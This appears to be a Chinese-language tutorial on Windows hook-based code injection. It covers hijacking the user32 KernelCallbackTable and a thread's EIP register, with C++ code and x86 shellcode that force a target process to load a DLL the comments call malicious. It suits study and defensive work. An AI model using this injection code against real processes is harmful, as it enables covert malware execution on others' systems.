代码注入的核心包含两大关键环节:一是将代码载入目标进程 ;二是为载入的代码获取执行时机 。不同代码注入方式的本质差异,正体现在这两个环节的实现策略上。本文介绍的Hook注入,重点关注** "获取执行时机"** 这一环节,通过 hook 手段达成目标;而对于 "载入代码到目标进程" 这一环节,是使用Windows提供的WriteProcessMemory
类API将代码和数据写到目标进程,不需要多做解释。
Hook对象
Hook 对象可以是 IAT(导入地址表)、代码段、内核回调表、EIP/RIP(指令指针寄存器) 等。
- Hook IAT或代码:仅当函数被调用或代码被执行时触发Hook代码,执行时机依赖程序逻辑,可控性较低。
- Hook内核回调表:user32的内核回调表包含窗口消息处理的相关函数,在窗口进程中调用频率极高,选择高频回调函数可快速获取执行时机。
- Hook EIP/RIP:直接修改线程指令指针寄存器(EIP/RIP),使其指向写入的代码,执行时机确定性最高,线程恢复执行后能立即触发代码执行。
Hook IAT或代码 比较常见,下面主要介绍Hook内核回调表 和Hook EIP/RIP这两种注入方式。
hook内核回调表
在代码注入之消息钩子注入中就提到了内核回调表,消息钩子是通过内核回调表中的__ClientLoadLibrary
函数加载dll,以及__fnHk*
函数执行钩子函数。内核回调表中还包含了与窗口消息处理相关的其他函数,而窗口进程中消息处理的频率非常高,所以可以通过Hook这些函数,来快速获得执行时机。
- 回调函数选择
Hook操作类似于Inline Hook,先保存寄存器环境,然后执行其他逻辑(比如加载dll),最后恢复寄存器环境,跳向原函数地址继续原始的代码逻辑,所以不需要关心目标函数的功能,我们只是用它来获取执行时机。
选择时,可在调试工具中对回调函数下断点,看看哪个函数断点最快被触发;或者通过调试器脚本,记录一段时间内回调函数的执行次数,筛选出高频函数。
- Hook实现方案
- 直接Hook:直接修改user32中内核回调表中的目标函数的指针,指向注入的代码。
- Hook备份表:拷贝一份user32的内核回调表,修改备份表中的对应函数,然后修改PEB中内核回调表指针指向备份表。
- 示例代码
以直接Hook user32中的 __fnDWORD
函数为例,在Hook代码中去加载恶意dll,注入过程的关键代码为:
C++
int main(int argc, char** argv)
{
uint32_t targetPid = strtoul(argv[1], nullptr, 10);
char* dllPath = argv[2];
// 1. 获取目标进程句柄,用于hook
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// 2. 在目标进程中为shellcode申请内存
const uint32_t kShellcodeSize = 4096;
uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3. 准备shellcode
LoadLibraryA("user32.dll");
PEB* peb = (PEB*)__readfsdword(0x30);
PVOID* table = (PVOID*)peb->u3.KernelCallbackTable;
const uint32_t kIndexOffnDWORD = 2;
PVOID fnDWORDAddr = table[kIndexOffnDWORD];
uint8_t shellcode[kShellcodeSize] = {
0x60, // +00 pushad
0x9C, // +01 pushfd
0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
0x9D, // +0C popfd
0x61, // +0D popad
0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original __fnDWORD
// +13 dllPath
};
*(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
*(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C); // 系统dll在不同进程中的加载地址一样,所以可以直接使用本进程中的地址计算偏移
*(uint32_t*)(shellcode + 0x0F) = (uint32_t)fnDWORDAddr - ((uint32_t)addr + 0x13);
memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);
// 4. 将shellcode写入目标进程
WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);
// 5. 修改 KernelCallbackTable 的属性,以便修改
DWORD oldProtect = 0;
VirtualProtectEx(hProcess, &table[kIndexOffnDWORD], sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect);
// 6. 修改 KernelCallbackTable 中的 __fnDWORD,指向shellcode,完成hook
WriteProcessMemory(hProcess, &table[kIndexOffnDWORD], &addr, sizeof(addr), nullptr);
CloseHandle(hProcess);
return 0;
}
Hook EIP/RIP
线程的下一条指令地址存储在EIP(32位)/RIP(64位)寄存器中,通过修改该寄存器值,使其指向注入的shellcode,可直接获取执行时机。线程的当前上下文信息中包含了 EIP/RIP 寄存器的值,所以可以通过 GetThreadContext
和 SetThreadContext
获取和设置EIP/RIP,注意在此之前需要先暂停线程。
关键代码如下:
C++
HANDLE getFirstThread(uint32_t pid) {
// 找到目标进程中的线程
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
Thread32First(hThreadSnapshot, &te32)
do {
if (te32.th32OwnerProcessID == pid) {
break;
}
} while (Thread32Next(hThreadSnapshot, &te32));
CloseHandle(hThreadSnapshot);
// 获取目标线程的句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
return hThread;
}
int main(int argc, char** argv)
{
uint32_t targetPid = strtoul(argv[1], nullptr, 10);
char* dllPath = argv[2];
// 1. 获取目标进程句柄,用于hook
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// 2. 暂停目标进程中的某个线程,获取线程EIP
HANDLE hThread = getFirstThread(targetPid);
SuspendThread(hThread);
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &context);
// 3. 在目标进程中为shellcode申请内存
const uint32_t kShellcodeSize = 4096;
uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 4. 准备shellcode
uint8_t shellcode[kShellcodeSize] = {
0x60, // +00 pushad
0x9C, // +01 pushfd
0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
0x9D, // +0C popfd
0x61, // +0D popad
0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original EIP
// +13 dllPath
};
*(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
*(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C);
*(uint32_t*)(shellcode + 0x0F) = context.Eip - ((uint32_t)addr + 0x13);
memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);
// 5. 将shellcode写入目标进程
WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);
// 6. 修改EIP为shellcode,并恢复线程
context.Eip = reinterpret_cast<uint32_t>(addr);
SetThreadContext(hThread, &context);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}